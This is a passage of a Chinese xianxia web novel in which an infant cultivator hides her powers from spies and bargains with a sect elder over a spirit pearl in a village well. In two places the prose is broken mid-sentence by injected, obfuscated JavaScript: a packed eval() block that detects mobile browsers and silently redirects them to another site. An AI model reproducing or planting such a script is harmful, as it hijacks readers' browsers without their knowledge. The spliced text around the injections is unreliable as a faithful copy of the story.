王氏千恩万谢,付了诊金。 郎中走后,林素衣心中冷笑。什么先天不足、心脉有亏,都是幌子。这郎中分明是张府派来的第二波探子,专程来确认她的身体状况。那三包药里,定有追踪或监控的成分。 果然,当晚煎药时,林素衣感知到药汤中飘散出极淡的异样气息——是某种慢性追踪香,无色无味,但能附着在服用者身上,持续散发特定气味,方便灵犬或法器追踪。 “真是处心积虑。”她让王氏喂药时,悄悄用灵气在咽喉处布了道屏障,药汤入口即被包裹,未入肠胃,等无人时再吐出处理。 如此三天,三包药“吃”完。第四日,郎中果然如约而至。 这次他把脉更仔细,还翻开林素衣的眼皮看了看瞳仁。探查结束后,他面露困惑:“怪了……按理说药该见效了,可孩子体内阴寒之气未散,反而……” 他顿了顿,重新打量林素衣,眼神变得深邃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980517|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林素衣知道,自己的伪装起了效果。她用灵气模拟出“阴寒内侵”的假象,骗过了对方的探查。但这也意味着,对方会认定她确实“有问题”。 “可能需要换个方子。”郎中又开了三包药,“这次加重了温补之效,夫人务必按时煎服。” 王氏连连点头。 郎中临走前,忽然问道:“夫人可曾带孩子去过古井边?” 王氏一怔:“去过,打水时常去。” “井水阴寒,体虚之人不宜多近。”郎中意味深长地说,“孩子的病,或许与此有关。” “这……”王氏有些慌了,“那以后不去了?” “倒也不必,只是少去为妙。”郎中背起药箱,“老朽告辞,七日后再来。” 他离开时,脚步比来时匆忙。 林素衣盯着他的背影,心中盘算:七日,这是对方给的“观察期”。七日内若她的“病情”没有“好转”,张府可能会采取下一步行动。 不能再等了。 当夜,林素衣做了一个冒险的决定:强行冲击引气入体。 正常来说,修士引气入体需要安静的环境、充分的准备,最好有师长护法。但她什么都没有,只有一颗向道之心和迫在眉睫的危机。 她盘坐在摇篮中——一岁多的身体勉强能摆出盘坐姿势。先运转“水”“凝”二符,将体内残存灵气汇聚到丹田。再调动先天之气,如引火之薪,点燃灵气漩涡。 漩涡越转越快,开始自发吸收外界灵气。起初只是点滴细流,渐渐如溪水汇入。灵气冲刷经脉,带来针刺般的痛楚。林素衣咬牙忍耐,引导灵气沿小周天循环。 一圈、两圈、三圈…… 到第九圈时,丹田处突然一震。漩涡凝实,化为一个稳定的气旋,自行运转起来。外界灵气被持续吸入,经气旋转化,化为她自身的灵力。 引气入体,成了! 虽然只是炼气一层初阶,但这是质的变化。从此她可以主动修炼,可以施展简单法术,可以温养灵珠。 但还没完。 冲击引气入体的动静,必然引动了灵气波动。玉佩的信标阵会立刻捕捉到异常并传输出去。她必须在张府反应过来前,制造一个合理的“解释”。 林素衣睁开眼睛,张口喷出一口淤血——这是强行冲关导致的气血逆冲,但此刻正好用作伪装。 她放声大哭。 哭声惊醒了隔壁的父母。王氏披衣冲进来,见女儿吐血,吓得魂飞魄散。林大山也赶来,两人连夜去敲村中医生的门。 村里的赤脚郎中把脉后,摇头道:“气血逆乱,像是急火攻心。但孩子这么小,哪来的火气?” 王氏哭着说了游方郎中的事,又说孩子这几天精神不振。村里郎中皱眉:“那游方人开的药方呢?我看看。” 看了药方,村里郎中脸色一沉:“这方子药性太烈,体虚之人哪受得住!胡来!” 一场“庸医误诊”的戏码就此定调。林家人愤怒又后怕,村里人也议论纷纷,说那游方郎中是骗子。 林素衣躺在床上,听着父母和医生的对话,心中稍安。这个解释应该能暂时搪塞过去:引气入体的灵气波动,可以归因为“药性冲突导致气血异变”。 但张府那边会信吗? 她不知道。 窗外夜色深沉。远在六十里外的张府书房内,张师爷看着手中罗盘上刚刚闪现又消失的异常光点,眉头紧锁。 “先是井中灵珠,又是这孩子……”他喃喃自语,“两者之间,真没关系吗?” 他起身,从书架暗格中取出一枚传讯玉简,沉吟片刻,注入灵力。 玉简亮起,那头传来低沉的声音:“何事?” “禀报仙师,”张师爷恭敬道,“属下发现了两个疑似目标:一口古井,内含古修士遗宝;一个女童,身怀异常。两者可能有关联。” 那头沉默片刻:“继续监控,勿打草惊蛇。十日后,我会派人过去。” “是。” 通讯切断。 张师爷收起玉简,望向窗外夜空。 十日后,真正的修士将降临这个偏僻山村。 而那时,林素衣的秘密,还能藏得住吗? 井底裂缝中,灵珠突然微微震颤,第二层封印上的某个符文,悄然亮起了一丝微光。 8. 十日布局 引气入体的第二日,林素衣开始系统性地熟悉这具初入道途的身体。 炼气一层的灵力稀薄如雾,在经脉中流淌时带着清凉的触感。她能清晰内视到主要经脉已初步贯通,虽然细如发丝,但足够灵气运转。丹田处的气旋稳定旋转,每转一圈,就吸入微量的外界灵气,转化为自身灵力。 效率很低。按这个速度,要突破到炼气二层,至少需要一年苦修——如果只靠打坐的话。 但林素衣没有一年时间。十日后,真正的修士将至,届时若她还是这般修为,无异于待宰羔羊。 必须加快进度。 她首先测试了自己目前的能力极限: 灵力外放,最多能控物三斤,距离不过三尺,持续时间不足十息。 感知范围,全力展开可达五十丈,能分辨灵气浓度差异,但精细度不足。 灵气吸收,在“水”“凝”二符辅助下,效率是引气前的三倍,但仍属龟速。 “太弱了。”林素衣摇头。这点实力,别说对抗修士,连自保都难。必须寻找外力,而眼下唯一的外力就是…… 她的目光投向古井方向。 井底灵珠虽陷入沉眠,但其本身蕴含的灵气是实实在在的。若能引出一丝为己所用,修炼速度将大幅提升。问题是,如何引? 直接下井不可能。父母绝不会让一岁多的孩子靠近井口。远程引导又需要更强的灵力和更精妙的控制,她现在做不到。 “需要媒介。”林素衣思索。井水就是现成的媒介——蕴含灵气的井水被喝下后,灵气会自然散入体内,虽然大部分会流失,但若能及时引导吸收…… 她决定尝试。 当日午饭,王氏照例熬了米粥。林素衣咿呀指着水缸,示意要喝水。王氏舀了半碗井水喂她。水入口的瞬间,林素衣立刻运转功法,引导水中那丝微弱的灵气流向丹田。 过程比想象中困难。水灵气入体后迅速扩散,像沙子从指缝漏走。她拼尽全力,也只捕捉到不足一成。但就是这一成,效果却抵得上半个时辰的打坐。 “有戏!”林素衣精神一振。若每日多喝几次井水,积少成多,进度能快不少。 但另一个问题随即浮现:井水灵气浓度在下降。自那夜大战后,井水灵气已从巅峰时的十倍浓度降至三倍左右,且还在缓慢下跌。这是因为灵珠沉眠,不再主动散发灵气,而井底阵法又残缺不全,无法维持原有的灵气循环。 “必须修复阵法,至少恢复其基础的聚灵功能。”林素衣心想。可修复阵法需要刻画符文,需要材料,需要灵气——她一样都没有。 除非…… 她想起灵珠第二层封印的解封条件:纯净水灵和先天木气。自己有三灵根,木灵根虽弱,但确属先天。若能将自身木灵气注入灵珠,或许能建立某种联系,借灵珠之力反哺修炼? 这个想法很大胆。灵珠是古修士遗宝,层次远超她现在的境界,贸然接触风险极高。但时间不等人。 当夜子时,林素衣再次尝试连接灵珠。 这一次,她不是呼唤井中生灵,而是直接用意念“触碰”灵珠本身。过程小心翼翼,像用手指试探滚烫的水。 灵珠没有反应,像块冰冷的石头。 她将一缕极细微的木属性灵气,通过意识连接传递过去。这缕灵气稀薄得几乎可以忽略不计,但性质纯粹——她刻意过滤了其他属性的杂质。 灵气触及灵珠表面的刹那,第二层封印上的某个符文突然亮了一下。 有反应! 紧接着,灵珠传回一股清凉的水灵气,顺着意识连接反涌而来。这股灵气精纯而温和,量不大,却刚好是她能承受的极限。灵气入体后,自动汇入丹田气旋,转化效率高达九成,比她自行吸收快了十倍不止。 “成了!”林素衣大喜。虽然每次只能传递一缕木灵气,换回的水灵气也有限,但胜在稳定可持续。更重要的是,这建立了她与灵珠之间的灵力循环,为日后更深层的交互打下了基础。 接下来的三天,林素衣白天伪装养病,暗中通过喝水吸收井水灵气;夜晚则与灵珠进行“灵气交换”,加速修炼。 到第四天,她已稳固了炼气一层初阶的修为,丹田气旋扩大了一圈,灵力总量增加五成。 但危机也在逼近。 第五日清晨,村里来了个货真价实的云游道士。 这道士四十来岁,道袍洗得发白,背着一柄桃木剑,手执拂尘,看起来仙风道骨。他在村口摆了个摊,免费给人看相算命。起初村民还将信将疑,但他接连说中了几件陈年旧事,名声立刻传开。 午后,道士“路过”林家院子,见到在门口晒太阳的林素衣,忽然驻足。 “好个灵秀的孩子。”他捋须微笑,“只是眉间隐有黑气,近日恐有灾厄。” 王氏一听就慌了:“道长救命!” 道士掐指一算,摇头道:“灾厄来自东方,与水有关。孩子近日可曾近水?” 王氏想起郎中的话,连连点头:“去过井边……” “这便是了。”道士从袖中取出一张黄符,“此乃‘避水符’,贴身佩戴,可防水厄。三日后午时,贫道再来为孩子作法驱邪。” 黄符递来,林素衣立刻感知到上面附着的灵力波动——是货真价实的符箓,虽然只是最低阶的辟邪符,但确属修真之物。这道士,是真修士! 她装作害怕,缩进王氏怀里。道士也不强求,将符交给王氏,飘然而去。 回到屋里,林素衣仔细观察这张黄符。符纸是普通朱砂黄纸,符文却画得工整严谨,灵力流转顺畅。制符者至少有炼气中期修为,且手法老道。 “张府的人?”她猜测。但又觉得不像。这道士身上的灵气中正平和,与之前张府修士那种阴戾气息截然不同。难道是第三方势力? 无论如何,三日后午时的“作法驱邪”绝没安好心。届时对方很可能借机探查她的真实情况,甚至直接出手。 必须在此之前提升实力。 林素衣开始更加拼命地修炼。除了与灵珠交换灵气,她开始尝试构建第三个符文——“护”字符。这是基础防御符文,若能成功,至少能在关键时刻抵挡一击。 构建过程比前两个符文更难。“护”字符由八个节点和十二道灵线组成,结构复杂,对灵力控制要求极高。林素衣失败了二十多次,每次失败都会损耗灵力,让她疲惫不堪。 但她没有放弃。第六天深夜,在灵珠反哺的一股精纯灵气辅助下,她终于完成了符文的最后一笔。 “护”字符成形的瞬间,自动在丹田处形成一个微小的防护力场。力场很弱,只能抵挡普通成年人的一拳之力,但对现在的她来说,已是宝贵的保命手段。 第七日,林素衣突破到炼气一层中阶。 灵力总量翻了一倍,外放控物可达五斤,感知范围扩大到七十丈。更重要的是,她对灵气的掌控精细了许多,已能勉强做到灵力离体一尺不散。 这天下午,她做了一个试验:用灵力在掌心凝聚出一个水球。 水球只有黄豆大小,晶莹剔透,悬浮在掌心上方一寸处。她维持了五息,水球溃散,洒了一手水渍。虽然微不足道,但这是她来到这个世界后,第一次真正意义上的“法术”。 “总算有了点自保之力。”林素衣暗想。虽然这点实力在真正的修士面前不值一提,但至少不再是毫无还手之力的婴儿。 第八日,村里出了件怪事。 西头赵家的耕牛夜里突然发狂,挣断缰绳冲进山林,第二天被发现死在山沟里,全身无伤,但眼珠暴突,像是被活活吓死的。赵家请来道士查看,道士绕着牛尸走了一圈,面色凝重。 “有妖气。”他沉声道,“近日村里可有什么异常?” 村民们七嘴八舌,说了古井、说了林家丫头生病、说了前几日的夜半巨响。道士听罢,掐指一算,忽然指向古井方向:“妖气源头,在那里。” 一群人跟着道士来到井边。道士取出罗盘,绕着井台走了三圈,罗盘指针疯狂旋转。 “井下有妖物!”道士断言,“此妖潜伏已久,近日因灵气复苏而觉醒,若不除去,恐危害全村!” 村民们吓得面无人色。村长颤声问:“道长可有办法?” 道士沉吟道:“需设坛作法,以纯阳之气镇压。但需一物作为引子……” 他目光转向闻讯赶来的林家人,准确地说,是林素衣颈间的玉佩。 “此玉佩乃张府所赠,沾染贵人阳气,正是镇压妖物的上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980518|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳引物。”道士伸手,“可否借来一用?” 王氏犹豫。林大山也迟疑:“这是张府送的,弄坏了不好交代……” “除妖事大。”道士正色道,“待妖物除去,贫道自会向张府说明,另备厚礼酬谢。” 村民们也纷纷劝说。林大山无奈,只得取下玉佩交给道士。 林素衣心中冷笑。好一出“除妖”大戏,真正的目的原来是收回玉佩。张府显然意识到玉佩的监控功能已不可靠,甚至可能被她反向利用,所以借道士之手收回。 但这也意味着,对方不打算再慢慢观察了。收回玉佩,是为下一步行动扫清障碍——可能是强行探查,甚至直接掳人。 玉佩被道士贴在井台正中,又摆上香炉、符纸、桃木剑等物。道士宣布:明夜子时,正式开坛作法。 消息传开,全村人心惶惶。林大山和王氏更是忧心忡忡,既怕井中真有妖物,又担心女儿再受牵连。 当夜,林素衣连接灵珠,传递紧急意念:明夜子时,道士将“除妖”,实则是要探查井底。灵珠必须完全收敛气息,任何异动都可能暴露。 灵珠传来微弱的回应:明白。同时,它传递了一个新的信息——第二层封印上,又有一个符文即将点亮。若能在明夜前点亮,灵珠可启动一项基础防护功能:“隐灵”。 功能很简单:完全隐藏自身灵气波动,伪装成普通石头,持续十二个时辰。缺点是期间无法散发任何灵气,井水将彻底变回凡水。 “点亮需要多少木灵气?”林素衣问。 灵珠传递了一个量值。林素衣计算后倒吸一口凉气:需要她当前全部灵力的三倍。若强行输出,她会灵力枯竭,甚至伤及本源。 但别无选择。 “明日子时前,我会给你。”她做出承诺。 第九日,林素衣开始疯狂修炼。她不再顾及伪装,趁着父母去井边看热闹,全力运转功法。井水灵气、灵珠反哺、甚至冒险吸收了一丝日光中的阳火灵气——不顾属性冲突的风险,只为积累足够的木灵气。 到傍晚时分,她丹田内的灵力已充盈到极限,经脉隐隐胀痛。但她不敢停,继续压榨每一分潜力。 戌时,父母归来,见她小脸通红,以为又发烧了。王氏要去找郎中,被林大山拦住:“明天道士就作法了,到时候一起看看。” 林素衣咬牙坚持。 亥时三刻,她终于积累了足够三倍灵力的木属性灵气。但她也到了极限,丹田气旋不稳,经脉多处暗伤,嘴角渗出血丝。 顾不上了。 她将全部木灵气,通过意识连接输向灵珠。 灵气洪流奔涌而出,瞬间抽空了她的身体。眼前一黑,几乎昏厥。她死死咬住舌尖,保持最后一丝清明。 灵珠那边,第二层封印上的符文一个接一个亮起。当最后一个符文点亮时,整个灵珠骤然收缩,所有灵气波动瞬间消失,变得如顽石般死寂。 隐灵功能,启动了。 几乎是同时,林素衣感应到玉佩方向传来探查波动——道士在提前测试法器。 波动扫过古井,一无所获。道士“咦”了一声,又加强了探查强度,仍无收获。 “怪了……白天的妖气明明还在……”他喃喃自语。 林素衣瘫倒在摇篮里,连呼吸的力气都没有。但她笑了。 第一关,过了。 但真正的危机在明夜子时。道士若发现井中“妖物”消失,定会怀疑。而怀疑的目光,很可能会转向她这个“异常”的孩子。 窗外,夜色如墨。 远山深处,一道剑光正破空而来,速度极快。 剑光上站着两个人:一个青袍老者,须发皆白,气息深沉如海;一个锦衣少年,约莫十五六岁,眉眼倨傲。 “师叔,就是前面那个村子?”少年问。 “嗯。”老者目视前方,眼神锐利,“张师侄传讯,说此地有古修士遗宝,还有个身怀先天之气的女童。十日期满,我们正好赶上好戏。” 剑光加速,划破夜空。 而村子里,对此一无所知的村民们,正在为明夜的“除妖大典”做着准备。 林素衣强撑着坐起,擦去嘴角血迹。 还有最后十二个时辰。 9. 子时斗法 隐灵启动后的第一个时辰,林素衣如坠冰窟。 丹田空空如也,气旋溃散,经脉干涸抽痛。更糟的是强行吸收阳火灵气造成的属性冲突:木生火,火克金,而她主修水、木,体内五行失衡,脏腑如被无形火焰灼烧。每一次呼吸都带着血腥味,视线模糊,耳中嗡鸣。 但她不能倒下。子时将至,道士的作法大典即将开始,而远方的剑光……她甚至能隐约感知到那股越来越近的锋锐气息。 “必须恢复一点灵力。”她咬牙,试图从空气中汲取灵气。但此刻的身体像个漏水的破桶,吸入的灵气十不存一,大部分从经脉裂缝中逸散。 唯一的机会是井水。隐灵启动后,井水灵气虽已消散,但水中仍残存着灵珠长久浸润的“本源印记”——一种不显灵气波动,却对修复经脉有益的水性精华。 王氏见她脸色惨白,倒了碗水喂她。林素衣小口吞咽,同时运转残存的先天之气,引导水中精华流向损伤最重的几条经脉。 效果微弱,但聊胜于无。一刻钟后,她终于能勉强坐直,眼前的重影稍退。 院子里传来喧闹声。村民们开始向古井聚集,准备观看子时的作法仪式。林大山和王氏也要去,王氏犹豫地看着女儿:“素衣一个人在家……” “带着吧。”林奶奶拄着拐杖过来,“放在我屋里,我看着。” 林素衣心中一暖。老人将她抱到偏屋的炕上,盖好薄被,粗糙的手掌轻拍她的背:“睡吧,一觉醒来就好了。” 可她睡不着。 子时一刻,作法开始。 道士在井边设了法坛,三炷高香点燃,青烟笔直上升。他手持桃木剑,脚踏七星步,口中念念有词。村民们围成半圆,屏息观看。 林素衣的感知勉强延伸到井边。她“看”到道士并非装模作样——每一步踏出,都引动微弱的地脉之气;每一声咒文,都牵动空气中的灵气涟漪。这是个真修士,至少炼气五层,但功法路数不正,带着邪祟气。 作法进行到关键处。道士将玉佩抛入香炉,以符火焚烧。玉佩在火焰中噼啪作响,表面浮现出细密的裂纹——这是要彻底毁掉这件监控法器,同时激发其内残存的灵气,形成一次强力的探查冲击。 “他在找灵珠。”林素衣明悟。探查冲击会扫过整个古井及周边区域,若灵珠没有启动隐灵,必被锁定。而即便隐灵,如此强度的冲击也可能引发细微反应。 她紧张地关注着。 道士桃木剑一指,香炉中腾起一道青光,直冲井口。青光入水,化作无数细丝向下蔓延,如渔网般罩向井底。 时间仿佛凝固。 三息、五息、十息…… 井底毫无反应。青光细丝触碰到裂缝处的灵珠,如触顽石,滑过无痕。道士眉头紧皱,又咬破舌尖,喷出一口精血在桃木剑上。剑身泛起血光,探查强度倍增。 还是无果。 “怎么可能……”道士喃喃。白天他明明感应到井中有浓郁妖气,怎会一夜之间消失无踪?除非…… 他猛地转头,目光如电射向林家方向。 林素衣心中警铃大作。被怀疑了! 果然,道士收了法坛,对村民们朗声道:“妖物狡诈,已逃离古井,附身他处。待贫道再查!” 他手持罗盘,装模作样地在村里走动,实则一步步逼近林家院子。 林素衣大脑飞速运转。道士若进屋探查,以她现在的状态,根本瞒不过。必须想办法引开他,或者制造混乱。 有了。 她将最后一丝灵力注入先天之气,催动其散发出一缕极微弱的“异样波动”——不是灵气波动,而是生命气息的异常,模拟重病孩童濒死时的“阳气涣散”。 这缕波动极其隐晦,但道士手中的罗盘是专为探查异常而炼制的法器,立刻捕捉到了。 罗盘指针猛转,指向林家偏屋。 道士眼睛一亮,加快脚步。 就在这时,远空剑光已至村口。 剑光收敛,现出一老一少两道身影。青袍老者负手而立,目光扫过整个村子,最终落在井边还未撤去的法坛上。 “有人先动手了。”锦衣少年冷哼,“师叔,要不要……” “不急。”老者抬手,“先看看。” 两人隐去身形,悄然靠近。 道士已走到林家院门外。他正要推门,林奶奶拄着拐杖走了出来:“道长,有何事?” “老夫人,贫道感应到妖气逃入贵宅,特来查探。”道士说得冠冕堂皇。 林奶奶挡在门前:“这是我孙女的房间,她病重刚睡下,受不得惊扰。” “除妖事大,夫人见谅。”道士伸手欲推。 屋内,林素衣知道不能再等。她冒险分出一丝意念,连接灵珠——隐灵状态下本不能有丝毫灵气外泄,但她只是传递一个“请求”,不涉及灵力。 灵珠沉寂如死。 就在道士即将推门而入时,异变突生。 古井方向,突然传来“咕嘟咕嘟”的声响。声音起初微弱,随即变大,像有什么东西在水下翻滚。村民们惊叫起来,纷纷后退。 道士动作一顿,回头望去。 只见井口冒出大量白色泡沫,泡沫中夹杂着细碎的水草和泥沙。紧接着,井水开始上涨,漫过井台,流到地面上。 “妖物还在井里!”有村民大喊。 道士脸色变幻不定。他看看井,又看看林家偏屋,最终一跺脚,转身奔向古井——比起一个可能异常的孩子,显然井中的“古修士遗宝”更具吸引力。 林素衣松了口气。是灵珠感应到了她的危机,虽然不能动用灵力,但操控井水制造异象还是能做到的。井底阵法虽残,但控制水流的基本功能尚存。 井边,道士重新开坛。这次他不再留手,从怀中掏出三面黑色小旗,按三才方位插在井台周围。旗面无风自动,散发出阴冷气息。 “这是……阴魂幡?”隐在暗处的青袍老者眉头微皱,“旁门左道。” 锦衣少年嗤笑:“看来是个野修,想独吞宝物。” 老者不语,继续观察。 三面黑旗组成简易阵法,将井口封锁。道士咬破中指,在三面旗上各点一滴血。旗面血光大盛,井水翻滚更剧,水面竟浮起一层薄薄的黑气。 林素衣感知到那黑气的性质:阴秽、污浊,专克纯净灵体。灵珠虽是死物,但井中生灵的意识被封其中,若被此气侵蚀,恐有魂飞魄散之危。 她心急如焚,却无力阻止。 道士狞笑,桃木剑一指:“起!” 黑气如活物般钻入井中,直奔裂缝而去。然而就在触及灵珠的前一瞬,灵珠表面突然浮现出一层淡金色的薄膜——第二层封印的自主防护机制被激活了! 黑气撞上薄膜,如雪遇沸水,滋滋作响中迅速消融。反噬之力顺着黑气回传,三面黑旗同时炸裂,道士闷哼一声,倒退三步,嘴角溢血。 “好强的防护!”他惊怒交加,眼中却贪婪更盛,“果然是重宝!” 他还要再施手段,暗处的青袍老者却动了。 “够了。” 一声平淡的喝止,却如惊雷在道士耳边炸响。他浑身一僵,骇然转头,只见一老一少不知何时已站在井边三丈外。 老者甚至没有看他,只盯着井口,缓缓道:“此井之物,非你所能觊觎。滚。” 最后一个字吐出,道士如遭重击,胸口剧痛,哇地喷出一口鲜血。他这才看清来人衣着气度,尤其是老者腰间那块青 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不是灵力波动,而是某种“共鸣”——与远方某处存在的共鸣。 老者动作一顿,凝神感应。片刻后,他脸色微变:“不对,这灵珠只是子珠,真正的母珠在……三百里外的‘净尘古墟’!” 少年也惊讶:“子母珠?难道这是当年净尘宗‘三十六泉眼大阵’的阵眼之一?” “有可能。”老者收回法诀,若有所思,“子珠离母珠不能超过千里,否则威能大减。此珠流落此地,说明净尘古墟必有变故。” 他沉吟片刻,忽然转头,望向林家方向。 “师叔?”少年疑惑。 老者目光深邃:“张师侄说,此村有个身怀先天之气的女童。而此珠属水,最喜纯净灵体滋养……你说,会不会那女童就是此珠选定的‘伴生灵’?” 少年眼睛一亮:“若真如此,带回宗门,可是大功一件!” “不急。”老者却摇头,“若强行带走,可能伤了灵珠灵性。况且……”他顿了顿,“那女童若有先天之气,必是修道种子,带回宗门培养,未来或可成为我脉助力。” 他走向林家院子。 屋内,林素衣浑身冰冷。最坏的情况发生了——对方不仅修为高绝,而且心思缜密,竟能推断出她与灵珠的关联。 脚步声停在院门外。 “屋里的小友,”老者的声音温和传来,“老夫乃‘青玄门’长老玄诚子,途经此地,感应到你身怀灵光,特来一见。” 青玄门!林素衣心中剧震。这不正是第一卷大纲中,她十四岁将要拜入的宗门吗?怎么会提前十多年出现? 是巧合,还是……命运早已织好了网? 门被推开。 月光下,玄诚子站在门口,青袍如洗,目光如渊。 他身后,锦衣少年探头张望,好奇地打量着炕上那个脸色苍白、眼神却异常清澈的女童。 “别怕,”玄诚子微笑,“老夫是来接你,去一个能让你真正成长的地方。” 林素衣紧抿嘴唇,手悄悄握住了藏在被褥下的一截枯枝——那是前日林奶奶给她玩的,此刻是她唯一的“武器”。 窗外的夜色,浓得化不开。 而井底灵珠,在无人察觉的角落,第二层封印上的第三个符文,悄然亮起。 一道微弱的意念顺着林素衣与灵珠之间无形的联系,传入她的脑海: “拖住他……三日……母珠将醒……” 三日? 林素衣看着步步走近的老者,心中一片冰凉。 她一个一岁多的孩童,灵力尽失,如何拖住一位金丹期修士三日? 10. 三日之约 月光从门口斜斜照进偏屋,在泥土地上投出玄诚子修长的影子。他站在那里,没有进一步逼近,只是目光温和地注视着炕上的女童。 林素衣也回望着他。 一岁多的身体缩在被褥里,显得格外幼小。但那双眼睛——玄诚子心中微动——那不是孩童该有的眼神。清澈、沉静,甚至带着一丝审视,仿佛在评估他这个突然闯入的不速之客。 “你不怕我?”玄诚子开口,声音比方才更柔和些。 林素衣没有回答,只是轻轻摇头。她不能说话,至少不能用完整的句子——一岁多的孩子会走路已算早慧,若再口齿清晰,就太异常了。但她可以用动作表达。 她伸出小手,指了指自己的喉咙,又摇了摇头。 “还不能言?”玄诚子若有所思,“但你能听懂,对吗?” 林素衣点头。 玄诚子身后的锦衣少年忍不住开口:“师叔,她真的……” “明轩,噤声。”玄诚子抬手制止,目光仍停在林素衣脸上,“老夫玄诚子,青玄门内门长老。此番下山游历,感应此地有灵光波动,特来查看。小友,你可愿随老夫去宗门修行?” 直截了当的邀请。 林素衣心中飞速盘算。对方是金丹期修士,神识笼罩之下,她任何异常都可能被察觉。此刻灵力尽失反倒成了掩护——她就像一张白纸,干净得近乎透明。 但必须拖延三天。 她再次摇头,然后指了指自己,又指了指屋外——指向父母房间的方向。 “不想离开父母?”玄诚子理解错了。 林素衣却顺势点头,眼中适时泛起水光,装出孩童依恋父母的姿态。这倒不全是伪装,这一世父母待她极好,她确实不舍。 玄诚子沉吟。他原本打算直接带走这孩子——身怀先天之气,又与古修士遗宝有关联,带回宗门悉心培养,假以时日必成大器。但若强掳,恐伤了她的向道之心,也坏了宗门名声。 “你可知道,留在此地,于你并非好事。”玄诚子缓缓道,“你身怀先天之气,易招邪祟觊觎。今日那野修只是开始,日后必有更多麻烦。而你的父母……”他顿了顿,“只是凡人,护不住你。” 这话戳中了林素衣最深的忧虑。张府、野修、觊觎灵珠的各方势力……她自身难保,更会连累家人。 她低下头,小手绞着被角,似乎在挣扎。 玄诚子看在眼里,语气更缓:“你若入青玄门,便是内门弟子。宗门会护你周全,传你正法,授你长生之道。你的父母,宗门也可接去山下安置,保他们一世安宁。” 条件很优厚。 但林素衣知道,天下没有免费的午餐。青玄门看重的是她的潜力,是先天之气,是她与灵珠的关联。一旦入门,她就不再是自由的个体,而是宗门未来的“资产”。 可她有选择吗? 三日。灵珠传来的信息是“拖住他三日”。为什么是三日?三日后母珠苏醒会发生什么?她不知道,但这是唯一的希望。 她抬起头,伸出三根手指。 “三天?”玄诚子挑眉。 林素衣点头,又指了指窗外古井方向,然后双手合十贴在脸侧,做出睡觉的动作——意思是:井里的东西还需要三天时间。 这是冒险的暗示。她故意透露出自己知道灵珠的秘密,甚至可能与灵珠有沟通。这会引起玄诚子更大的兴趣,但同时也会让她显得更有价值——有价值的棋子,通常不会被轻易舍弃。 果然,玄诚子眼中精光一闪:“你与那灵珠,能交流?” 林素衣犹豫片刻,轻轻点头。 “难怪……”玄诚子捋须,“难怪你能身怀先天之气而不显异象,想来是灵珠以本源温养之故。子母灵珠……三百里感应……原来如此。” 他似乎想通了什么,看向林素衣的眼神更加热切:“那灵珠要你等三日,可是三日后母珠将有异动?” 林素衣再次点头。 玄诚子负手踱步,陷入沉思。净尘古墟三百里外,净尘宗遗址,三十六泉眼大阵的阵眼子珠……若真能等到母珠苏醒,子母共鸣,或许能开启古墟深处的某个秘藏。这机缘,远比单独带走一个先天之体的孩童要大。 “好。”他停下脚步,“老夫等你三日。三日后,无论结果如何,你需随老夫回山门。你可答应?” 林素衣看着他的眼睛,缓缓点头。 协议达成。 玄诚子转身对锦衣少年道:“明轩,去通知张府,就说此地之事青玄门接手了,让他们勿再插手。然后你守在村外,三日内任何人不得靠近此村十里范围。” “是,师叔。”明轩应声,转身御剑而去。 玄诚子又看向林素衣:“这三日,老夫便在你家借住,可方便?” 这不是询问,是通知。 林素衣能说什么?只能点头。 当夜,玄诚子就在林家堂屋打坐。他气息收敛如凡人,但林素衣能感知到,整个院子乃至整个村子,都已笼罩在他的神识之下。任何风吹草动,都逃不过他的感知。 这既是保护,也是监视。 林素衣躺在偏屋炕上,闭着眼睛,却毫无睡意。她尝试内视,丹田依旧空空,经脉损伤未愈。三日时间,她必须尽可能恢复,同时……想办法与灵珠建立更深的联系。 灵珠传来的“拖住三日”的信息,说明它也在谋划什么。三日后母珠苏醒,会怎样?能帮她脱困吗?还是反而会引来更大的麻烦? 她不知道。但这是唯一的棋。 后半夜,她偷偷尝试吸收月华灵气。玄诚子的神识如无形的网,她不敢有大动作,只能以最细微的方式,一缕一缕地引入体内。效率低得可怜,但总好过坐以待毙。 第一日,平静度过。 玄诚子大部分时间在打坐,偶尔会到院子里走走,看看古井方向。他也与林大山夫妇交谈,态度温和,自称是云游道人,路过此地见林素衣有缘,想收为徒。 林大山和王氏又惊又喜又疑。喜的是女儿被高人看中,疑的是这道人来历不明。但玄诚子谈吐不俗,气度非凡,又出示了青玄门的信物——一块刻有云纹的青色玉牌,才渐渐取信于他们。 “素衣还小,能否等她大些再去?”王氏小心翼翼地问。 “夫人放心,贫道不急于一时。”玄诚子微笑,“只是先结个缘法,待时机成熟再行拜师之礼。” 这话让林家人稍安。 但林素衣知道,所谓“时机成熟”,就是三日后。无论母珠是否苏醒,她都会被带走。 第二日,村里来了几个陌生人。 是张府的人,为首的是张师爷。他们被明轩拦在村外,双方对峙片刻后,张师爷带人悻悻离去。临走前,他深深望了村子一眼,眼神复杂。 林素衣通过玄诚子神识的细微波动,感应到了这件事。青玄门的名头果然好用,张府不敢硬抗。但这不代表危险解除——张府可能去搬更厉害的靠山,或者暗中使绊子。 她必须加快准备。 这一日,她冒险加大了灵气吸收量。玄诚子的神识虽密,但并非无懈可击——他主要监控的是古井和她本人,对天地灵气的微观流动关注有限。林素衣像蚂蚁搬家,一点一点地积累灵力。 